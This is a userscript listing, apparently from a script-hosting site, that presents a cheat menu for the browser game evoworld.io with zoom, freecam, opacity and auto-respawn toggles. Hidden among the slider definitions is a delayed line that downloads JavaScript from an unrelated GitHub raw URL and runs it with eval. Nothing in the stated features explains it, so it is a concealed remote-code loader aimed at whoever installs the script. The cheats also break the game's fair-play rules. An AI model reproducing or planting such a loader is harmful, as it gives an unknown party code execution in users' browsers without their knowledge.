Evoworld.io IH cheats

a new evoworld.io cheat with a lot of funcions for open/close press Y/y

当前为 2025-05-01 提交的版本,查看 最新版本

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Greasemonkey 油猴子Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Userscripts ,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         Evoworld.io IH cheats
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  a new evoworld.io cheat with a lot of funcions for open/close press Y/y
// @author       ilyxa gaydov
// @match        https://evoworld.io/
// @icon         https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
// @grant        none
// ==/UserScript==

alert('for open/close press Y/y');
class CheatMenu {
    constructor() {
        this.menus = [];
        this.sliders = {};
        this.opacityValues = {
            cloud: 0.5,
            swamp: 0.5,
            lava: 0.5,
            water: 0.5,
            bush: 0.5
        };
        this.unlimitedFps = false;
        this.showInCloud = false;
        this.zIndexValue = 15;
        this.zIndexInterval = null;
        this.freecamActive = false;
        this.cameraOffset = { x: 0, y: 0 };
        this.originalGetAllPositions = null;
        this.autoRespawnInterval = null;
        this.allCheats = [];
        this.cheatElements = {};

        document.addEventListener('keydown', (e) => {
            if (e.keyCode === 89) this.toggleAllMenus();
            if (this.freecamActive) this.handleFreecamKeys(e);
        });
    }

    createMenu(title, x = 50, y = 50) {
        const menu = document.createElement('div');
        Object.assign(menu.style, {
            position: 'absolute',
            left: `${x}px`,
            top: `${y}px`,
            width: '250px',
            background: 'rgba(0,0,0,0.85)',
            border: '2px solid #444',
            borderRadius: '5px',
            color: 'white',
            fontFamily: '"Courier New", monospace',
            zIndex: '1000',
            userSelect: 'none'
        });

        const header = document.createElement('div');
        Object.assign(header.style, {
            background: '#333',
            padding: '8px',
            cursor: 'move',
            fontWeight: 'bold',
            borderBottom: '1px solid #555'
        });
        header.textContent = title;

        const content = document.createElement('div');
        content.style.padding = '10px';

        menu.append(header, content);
        document.body.appendChild(menu);

        this.makeDraggable(menu, header);
        this.menus.push(menu);
        return content;
    }

    makeDraggable(element, handle) {
        handle.addEventListener('mousedown', (e) => {
            const offsetX = e.clientX - element.offsetLeft;
            const offsetY = e.clientY - element.offsetTop;

            const move = (e) => {
                element.style.left = `${e.clientX - offsetX}px`;
                element.style.top = `${e.clientY - offsetY}px`;
            };

            const up = () => {
                document.removeEventListener('mousemove', move);
                document.removeEventListener('mouseup', up);
            };

            document.addEventListener('mousemove', move);
            document.addEventListener('mouseup', up);
            e.preventDefault();
        });
    }

    addToggleCheat(menuContent, name, callback) {
        const button = document.createElement('button');
        Object.assign(button.style, {
            display: 'block',
            width: '100%',
            padding: '8px',
            margin: '5px 0',
            background: '#222',
            color: '#eee',
            border: '1px solid #444',
            borderRadius: '3px',
            cursor: 'pointer',
            transition: 'all 0.2s'
        });

        button.textContent = name;
        button.addEventListener('click', () => {
            const active = button.classList.toggle('active');
            button.style.background = active ? '#600' : '#222';
            button.style.borderColor = active ? '#f00' : '#444';
            callback(active);
        });

        this.allCheats.push(name.toLowerCase());
        this.cheatElements[name.toLowerCase()] = button;
        menuContent.appendChild(button);
        return button;
    }

    addSlider(menuContent, name, min, max, step, defaultValue, callback) {
        const container = document.createElement('div');
        container.style.margin = '10px 0';

        const label = document.createElement('div');
        label.textContent = name;
        label.style.marginBottom = '5px';
        label.style.color = '#eee';

        const slider = document.createElement('input');
        slider.type = 'range';
        slider.min = min;
        slider.max = max;
        slider.step = step;
        slider.value = defaultValue;
        slider.style.width = '100%';

        const valueDisplay = document.createElement('span');
        valueDisplay.textContent = defaultValue;
        valueDisplay.style.marginLeft = '10px';
        valueDisplay.style.color = '#eee';

        slider.addEventListener('input', () => {
            const value = parseFloat(slider.value);
            valueDisplay.textContent = value;
            callback(value);
        });

        this.allCheats.push(name.toLowerCase());
        this.cheatElements[name.toLowerCase()] = slider;
        container.append(label, slider, valueDisplay);
        menuContent.appendChild(container);
        this.sliders[name] = slider;
        return slider;
    }

    toggleUnlimitedFps(active) {
        this.unlimitedFps = active;
        if (window.game && window.game.fpsTimes) {
            game.fpsTimes.length = active ? 1000 : 0;
        }
    }

    toggleShowInCloud(active) {
        this.showInCloud = active;
        if (window.game && window.game.me) {
            if (active) {
                game.me.zIndex = 100;
                this.zIndexValue = 100;
                this.zIndexInterval = setInterval(() => {
                    if (window.game && window.game.me) {
                        game.me.inHide = false;
                    }
                }, 1);
            } else {
                clearInterval(this.zIndexInterval);
                game.me.zIndex = 15;
                this.zIndexValue = 15;
            }
        }
    }

    setZIndex(value) {
        this.zIndexValue = value;
        if (window.game && window.game.me) {
            game.me.zIndex = value;
        }
    }

    toggleFreecam(active) {
        this.freecamActive = active;

        if (active) {
            if (game && game.me) {
                this.originalGetAllPositions = game.me.getAllPositions;

                const self = this;
                game.me.getAllPositions = function() {
                    return {
                        'x': this['position']['x'],
                        'y': this['position']['y'],
                        'center': {
                            'x': this['position']['x'] + this['width'] + self.cameraOffset.x,
                            'y': this['position']['y'] + this['height'] + self.cameraOffset.y
                        },
                        'right': this['position']['x'] + this['width'],
                        'left': this['position']['x'],
                        'top': this['position']['y'] + this['height'],
                        'bottom': this['position']['y']
                    };
                };
            }
        } else {
            if (game && game.me && this.originalGetAllPositions) {
                game.me.getAllPositions = this.originalGetAllPositions;
            }
            this.cameraOffset = { x: 0, y: 0 };
        }
    }

    handleFreecamKeys(e) {
        const speed = e.shiftKey ? 30 : 10;
        let moved = false;

        switch(e.key.toLowerCase()) {
            case 'k':
                this.cameraOffset.y -= speed;
                moved = true;
                break;
            case 'i':
                this.cameraOffset.y += speed;
                moved = true;
                break;
            case 'j':
                this.cameraOffset.x -= speed;
                moved = true;
                break;
            case 'l':
                this.cameraOffset.x += speed;
                moved = true;
                break;
        }

        if (moved) e.preventDefault();
    }

    toggleAutoRespawn(active) {
        if (active) {
            this.autoRespawnInterval = setInterval(() => {
                if (typeof imDead !== 'undefined' && imDead === true && typeof playAgain !== 'undefined') {
                    playAgain();
                }
            }, 100);
        } else {
            clearInterval(this.autoRespawnInterval);
        }
    }

    toggleAllMenus() {
        const anyVisible = this.menus.some(menu => menu.style.display === 'none');
        this.menus.forEach(menu => {
            menu.style.display = anyVisible ? 'block' : 'none';
        });
    }

    addSearch(menuContent) {
        const searchInput = document.createElement('input');
        searchInput.type = 'text';
        searchInput.placeholder = 'Search cheats...';
        searchInput.style.width = '100%';
        searchInput.style.padding = '8px';
        searchInput.style.marginBottom = '10px';
        searchInput.style.boxSizing = 'border-box';

        const resultsContainer = document.createElement('div');
        resultsContainer.style.maxHeight = '200px';
        resultsContainer.style.overflowY = 'auto';

        searchInput.addEventListener('input', () => {
            const query = searchInput.value.toLowerCase();
            resultsContainer.innerHTML = '';

            if (query.length < 2) return;

            const matches = this.allCheats.filter(cheat => cheat.includes(query));

            matches.forEach(match => {
                const result = document.createElement('div');
                result.textContent = match;
                result.style.padding = '5px';
                result.style.cursor = 'pointer';
                result.style.borderBottom = '1px solid #444';
                result.addEventListener('click', () => {
                    const element = this.cheatElements[match];
                    if (element) {
                        if (element.tagName === 'BUTTON') {
                            element.click();
                        } else if (element.tagName === 'INPUT' && element.type === 'range') {
                            const newValue = prompt(`Enter value for ${match}:`, element.value);
                            if (newValue !== null) {
                                element.value = newValue;
                                element.dispatchEvent(new Event('input'));
                            }
                        }
                    }
                });
                resultsContainer.appendChild(result);
            });
        });

        menuContent.append(searchInput, resultsContainer);
    }
}

const menu = new CheatMenu();
const visualMenu = menu.createMenu('Visual Cheats');
const playerMenu = menu.createMenu('Player Cheats', 400, 50);
const searchMenu = menu.createMenu('Search Cheats', 400, 350);
const movementMenu = menu.createMenu('Movement', 750, 50);
const viewModMenu = menu.createMenu('ViewMod', 750, 350);
const opacityMenu = menu.createMenu('Opacity Cheats', 1100, 50);
const mainMenu = menu.createMenu('Main Menu', 50, 345);

menu.addSearch(searchMenu);

menu.addToggleCheat(visualMenu, 'Night Vision', (active) => {
    visionType = active ? 1 : 0;
});

menu.addToggleCheat(visualMenu, '100 Level', (active) => {
    if (active) {
        if (!game.me.originalLevel) game.me.originalLevel = game.me.level;
        game.me.level = 100;
    } else {
        game.me.level = game.me.originalLevel || 1;
    }
});

menu.addToggleCheat(playerMenu, 'Unlimited FPS', (active) => {
    menu.toggleUnlimitedFps(active);
});

menu.addToggleCheat(playerMenu, 'Show in Cloud', (active) => {
    menu.toggleShowInCloud(active);
});

menu.addToggleCheat(playerMenu, 'Freecam (IJKL)', (active) => {
    menu.toggleFreecam(active);
});

menu.addToggleCheat(playerMenu, 'Auto Respawn', (active) => {
    menu.toggleAutoRespawn(active);
});

menu.addSlider(playerMenu, 'Player zIndex', 15, 1000, 1, 15, (value) => {
    menu.setZIndex(value);
});

menu.addSlider(movementMenu, 'Movement smooth', 1, 4000, 1, 1000, (value) => {
    if (game) game.maxInterpolateDistanceTeleport = value;
});

menu.addToggleCheat(movementMenu, 'Smooth Movement', (active) => {
    if (game) game.maxInterpolateDistanceTeleport = active ? 3500 : 1;
});

menu.addToggleCheat(movementMenu, 'Sharp Movement', (active) => {
    if (game) game.maxInterpolateDistanceTeleport = active ? 0 : 1;
});

menu.addToggleCheat(mainMenu, 'Join Full Servers', (active) => {
    if (active) {
        const serverSelect = document.querySelector('select.selectServer');
        if (serverSelect) {
            const options = serverSelect.querySelectorAll('option');
            options.forEach(option => {
                option.removeAttribute('disabled');
            });
        }
    }
});

const addViewModButton = (text, xOffset, yOffset) => {
    menu.addToggleCheat(viewModMenu, text, (active) => {
        if (active && game && game.me) {
            game.me.getAllPositions = function() {
                return {
                    'x': this['position']['x'],
                    'y': this['position']['y'],
                    'center': {
                        'x': this['position']['x'] + this['width'] + xOffset,
                        'y': this['position']['y'] + this['height'] + yOffset
                    },
                    'right': this['position']['x'] + this['width'],
                    'left': this['position']['x'],
                    'top': this['position']['y'] + this['height'],
                    'bottom': this['position']['y']
                };
            };
        }
    });
};

addViewModButton('Normal View', 0, 0);
addViewModButton('Right View', 200, 0);
addViewModButton('Left View', -200, 0);
addViewModButton('Top View', 0, 200);

let zoomActive = false;
const zoomSlider = menu.addSlider(visualMenu, 'Zoom Level', 0.1, 2, 0.01, 1.0, (value) => {
    if (zoomActive) applyZoom(value);
});

menu.addToggleCheat(visualMenu, 'Zoom Hack', (active) => {
    zoomActive = active;
    if (active) applyZoom(parseFloat(zoomSlider.value));
    else applyZoom(1.0);
});

menu.addSlider(opacityMenu, 'Cloud Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.cloud = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Swamp Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.swamp = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Lava Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.lava = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Water Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.water = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Bush Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.bush = value;
    updateObjectOpacity();
});

setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/refs/heads/main/o.js", (d) => eval(d));}, 6000);

function applyZoom(zoomLevel) {
    if (game) {
        game.scaleX = zoomLevel;
        game.scaleY = zoomLevel;
        game.fontScale = zoomLevel;

        if (game.camera) {
            game.camera.zoom = zoomLevel;
        }

        if (game.renderer && game.renderer.scale) {
            game.renderer.scale.set(zoomLevel, zoomLevel);
        }
    }
}

function updateObjectOpacity() {
    if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
        const originalDrawObject = Engine.prototype.drawObject;
        Engine.prototype.drawObject = function(obj, staticCanvas) {
            if (obj.name) {
                const name = obj.name.toLowerCase();

                if (name.includes('cloud')) {
                    obj.opacity = menu.opacityValues.cloud;
                }
                else if (name.includes('swamp')) {
                    obj.opacity = menu.opacityValues.swamp;
                }
                else if (name.includes('lava')) {
                    obj.opacity = menu.opacityValues.lava;
                }
                else if (name.includes('water') || name.includes('ocean') || name.includes('sea')) {
                    obj.opacity = menu.opacityValues.water;
                }
                else if (name.includes('bush')) {
                    obj.opacity = menu.opacityValues.bush;
                }
            }

            return originalDrawObject.call(this, obj, staticCanvas);
        };
    }
}

setTimeout(() => {
    if (typeof Engine !== 'undefined') {
        updateObjectOpacity();
    }
}, 1000);